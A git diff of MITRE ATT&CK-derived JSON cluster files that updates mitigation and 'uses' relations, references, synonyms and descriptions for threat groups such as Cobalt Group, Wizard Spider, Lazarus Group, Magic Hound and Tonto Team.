- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -13764,6 +14198,48 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
@@ -13973,6 +14449,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "28170e17-8384-415c-8486-2e6b294cb803",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
@@ -14154,6 +14637,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "590777b3-b475-4c7c-aaf8-f4a73b140312",
@@ -15311,6 +15801,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "ccde43e4-78f9-4f32-b401-c081e7db71ea",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c",
@@ -15821,11 +16318,46 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "0cf55441-b176-4332-89e7-2c4c7799d0ff",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
"value": "Audit - M1047"
}
],
- "version": 19
+ "version": 20
}
diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json
index 8f12723..3048668 100644
--- a/clusters/mitre-intrusion-set.json
+++ b/clusters/mitre-intrusion-set.json
@@ -203,20 +203,6 @@
],
"type": "similar"
},
- {
- "dest-uuid": "f1b9f7d6-6ab1-404b-91a6-a1ed1845c045",
- "tags": [
- "estimative-language:likelihood-probability=\"likely\""
- ],
- "type": "similar"
- },
- {
- "dest-uuid": "4af45fea-72d3-11e8-846c-d37699506c8d",
- "tags": [
- "estimative-language:likelihood-probability=\"likely\""
- ],
- "type": "similar"
- },
{
"dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
"tags": [
@@ -643,6 +629,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c",
@@ -1099,6 +1092,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "76d59913-1d24-4992-a8ac-05a3eb093f71",
@@ -1541,6 +1541,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
@@ -1664,13 +1671,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7",
"tags": [
@@ -1684,13 +1684,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
"value": "Dark Caracal - G0070"
},
{
- "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)",
+ "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)",
"meta": {
"external_id": "G0080",
"refs": [
@@ -1703,11 +1710,13 @@
"https://www.riskiq.com/blog/labs/cobalt-strike/",
"https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/",
"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain",
+ "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish",
"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report",
"https://blog.morphisec.com/cobalt-gang-2.0"
],
"synonyms": [
"Cobalt Group",
+ "GOLD KINGSWOOD",
"Cobalt Gang",
"Cobalt Spider"
]
@@ -1978,6 +1987,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "599cd7b5-37b5-4cdd-8174-2811531ce9d0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
@@ -2150,13 +2173,14 @@
"value": "Deep Panda - G0009"
},
{
- "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)",
+ "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)",
"meta": {
"external_id": "G0102",
"refs": [
"https://attack.mitre.org/groups/G0102",
"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
"https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
+ "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/",
"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"
@@ -2574,6 +2598,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "99fdf3b4-96ef-4ab9-b191-fc683441cad0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c9b99d03-ff11-4a48-95f0-82660d582c25",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "dd2d9ca6-505b-4860-a604-233685b802c7",
@@ -2812,6 +2864,13 @@
],
"type": "uses"
},
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
{
"dest-uuid": "286cc500-4291-45c2-99a1-e760db176402",
"tags": [
@@ -3003,6 +3062,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "73a80fab-2aa3-48e0-a4d0-3a4828200aee",
@@ -3346,15 +3412,14 @@
"value": "Tropic Trooper - G0081"
},
{
- "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.",
+ "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). ",
"meta": {
"external_id": "G0032",
"refs": [
"https://attack.mitre.org/groups/G0032",
"https://www.us-cert.gov/ncas/alerts/TA17-164A",
+ "https://home.treasury.gov/news/press-releases/sm774",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
- "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/",
- "https://securelist.com/lazarus-under-the-hood/77908/",
"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
"https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/",
"https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing"
@@ -3557,13 +3622,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
"tags": [
@@ -3592,13 +3650,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
"tags": [
@@ -3823,13 +3874,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "454fe82d-6fd2-4ac6-91ab-28a33fe01369",
"tags": [
@@ -3907,62 +3951,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
- {
- "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "01dbc71d-0ee8-420d-abb4-3dfb6a4bf725",
"tags": [
@@ -4758,7 +4746,14 @@
"type": "uses"
},
{
- "dest-uuid": "a0d774e4-bafc-4292-8651-3ec899391341",
+ "dest-uuid": "e401d4fe-f0c9-44f0-98e6-f93487678808",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e221eb77-1502-4129-af1d-fe1ad55e7ec6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -4777,6 +4772,111 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a0d774e4-bafc-4292-8651-3ec899391341",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192",
@@ -5261,18 +5361,21 @@
"value": "Gamaredon Group - G0047"
},
{
- "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, dating back as early as 2014. The group typically targets U.S. and Middle Eastern military organizations, as well as other government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018)",
+ "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)",
"meta": {
"external_id": "G0059",
"refs": [
"https://attack.mitre.org/groups/G0059",
"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
- "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/",
+ "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf",
+ "https://blog.certfa.com/posts/charming-kitten-christmas-gift/",
"https://www.secureworks.com/research/threat-profiles/cobalt-illusion",
+ "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453",
+ "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/",
+ "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential",
"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf",
"https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering",
"https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf",
- "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf",
"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/",
"https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/",
"https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/",
@@ -5280,6 +5383,7 @@
],
"synonyms": [
"Magic Hound",
+ "TA453",
"COBALT ILLUSION",
"Charming Kitten",
"ITG18",
@@ -5575,6 +5679,76 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "69f897fd-12a9-4c89-ad6a-46d2f3c38262",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13",
@@ -5587,9 +5761,6 @@
"refs": [
"https://attack.mitre.org/groups/G0086",
"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"
- ],
- "synonyms": [
- "Stolen Pencil"
]
},
"related": [
@@ -5669,6 +5840,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "revoked-by"
}
],
"uuid": "7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
@@ -5826,6 +6004,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "1f21da59-6a13-455b-afd0-d58d0a5a7d27",
@@ -5844,13 +6029,6 @@
]
},
"related": [
- {
- "dest-uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7",
"tags": [
@@ -5864,11 +6042,194 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "049cef3b-22d5-4be6-b50c-9839c7a34fdd",
"value": "Bouncing Golf - G0097"
},
+ {
+ "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)",
+ "meta": {
+ "external_id": "G0131",
+ "refs": [
+ "https://attack.mitre.org/groups/G0131",
+ "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/",
+ "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/",
+ "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf",
+ "https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/",
